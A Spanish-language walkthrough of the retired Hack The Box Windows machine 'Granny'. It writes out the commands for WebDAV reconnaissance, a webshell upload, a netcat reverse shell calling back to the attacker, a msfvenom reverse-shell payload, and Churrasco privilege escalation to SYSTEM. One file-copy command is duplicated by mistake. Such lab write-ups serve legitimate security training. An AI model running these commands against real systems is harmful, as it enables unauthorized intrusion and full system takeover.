Granny Write-Up

Fecha de lanzamiento12 Abr 2017
EstadoRetirada
DificultadEasy
PlataformaWindows
IP10.10.10.15

Información de la máquina


RECONOCIMIENTO

Mediante el escaneo con la herramienta nmap podemos observar abierto el puerto 80.

nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n -oG allPorts 10.10.10.15
nmap -sCV -p80 -oN targeted 10.10.10.15

Viendo el reporte de los scripts de nmap, existen numerosos métodos permitidos en el servidor a través del protocolo WebDav.

WebDav es un protocolo que se encarga de permitirnos de forma sencilla guardar, editar, copiar, mover y compartir archivos desde servidores web. Gracias a este protocolo, podremos trabajar con archivos directamente en un servidor web, como si de un servidor Samba o FTP se tratara.

En entornos Linux, tenemos dos herramientas que nos van a permitir lanzar un reconocimiento de WebDav así como poder interactuar con este protocolo.

Vamos a usar primero la herramienta davtestpara hacer testing de envios de archivos así como de ejecución.

davtest -url http://10.10.10.15

Analizando el output, vemos que hemos podido crear un directorio, hemos podido enviar al servidor una serie de archivos con extensiones concretas. Analizando las cabeceras de respuesta del servidor, vemos que el servidor está corriendo ASP.NET.

ASP.NET es un marco web de código abierto, creado por Microsoft, para crear servicios y aplicaciones web modernos con .NET. Los archivos más propios de este marco son los archivos con extensión aspx.

Los archivos ASPX pertenecen principalmente a ASP.NET de Microsoft. Un archivo ASPX contiene los controles web, la lógica empresarial (script) y la presentación (marcado/plantillas) de una página web alojada en un ASP.NET servidor. El contenido de este archivo se representa en HTML, CSS y JavaScript cuando es recibido por un cliente.

Pero vemos por el output del testing, que no tenemos capacidad de subida de archivos con esta extensión. Sin embargo, vamos a hacer uso de otra herramienta llamada cadaver para subir un archivo aspx con extensión txt, para luego renombrarlo. Este archivo va a ser una webshell, y nos permitirá ejecución remota de comandos.

EXPLOTACIÓN

Para ello lo primero nos vamos a mover la webshell a nuestro escritorio actual y vamos a guardarla con extensión de archivo de texto:

Mediante la herramienta cadaver nos vamos a conectar a través del protocolo WebDav y vamos a subir el archivo al servidor:

Como podemos corroborar, tenemos el archivo subido de manera exitosa, pero como la extensión no es la adecuada, no se está interpretando. Por ello, vamos a cambiarle la extensión para poder correr comandos en nuestra WebShell.

Podemos correr comandos como NT Authority\Network Service.

Para poder tener una terminal interactiva, nos vamos a compartir el NetCat a través del protocolo SMB y vamos a mandarnos una ReverseShell.

# En la web shell

\\10.10.14.7\smb\nc.exe -e cmd 10.10.14.7 443

ESCALADA DE PRIVILEGIOS

Si vemos los privilegios que tenemos, vemos que tenemos habilitado el privilegio de SeImpersonatePrivilege.

Teniendo este privilegio, tenemos una potencial escalada de privilegios. Para estos casos utilizaríamos herramientas como JuicyPotato, SweetPotato... pero si hacemos un systeminfo, vemos que tenemos un Windows Server 2003. Es una versión de OS muy antigua, y el Juicy Potato no tiene soporte para esta versión.

Por ello, vamos a usar un exploit denominado Churrasco.exe. Se trata de un exploit similar a JuicyPotato, pero compatible con versiones más antiguas de Windows como XP o 2003. Para más información visitar el siguiente link: https://binaryregion.wordpress.com/2021/08/04/privilege-escalation-windows-churrasco-exe/.

Nos vamos a descargar el ejecutable, y antes de transferirlo a la máquina vamos a crearnos un ejecutable malicioso que nos entable una reverse shell a nuestro equipo. Para ello vamos a usar la herramienta msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=<local machine IP> LPORT=4444 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe

Una vez tenemos ambos ejecutables, nos los vamos a transferir a la máquina víctima. Para ello, vamos a compartir los archivos a través del protocolo SMB, y desde una carpeta que nos creemos en el directorio Temp , vamos a copiarnos los archivos.

# Maquina Local

impacket-smbserver smb $(pwd) -smb2support

# Máquina Víctima

copy \\IPLOCAL\smb\churrasco.exe churrasco.exe
copy \\IPLOCAL\smb\churrasco.exe churrasco.exe

Por último, vamos a ejecutar el exploit, pasándole el ejecutable malicioso como argumento y levantando un puerto a la escucha en local.

churrasco.exe -d "C:\WINDOWS\Temp\PrivEsc\shell.exe"

Ya tenemos un shell con máximos privilegios como SYSTEM, desde la que podemos ver las dos flags de la máquina.

Jorge Escrito por: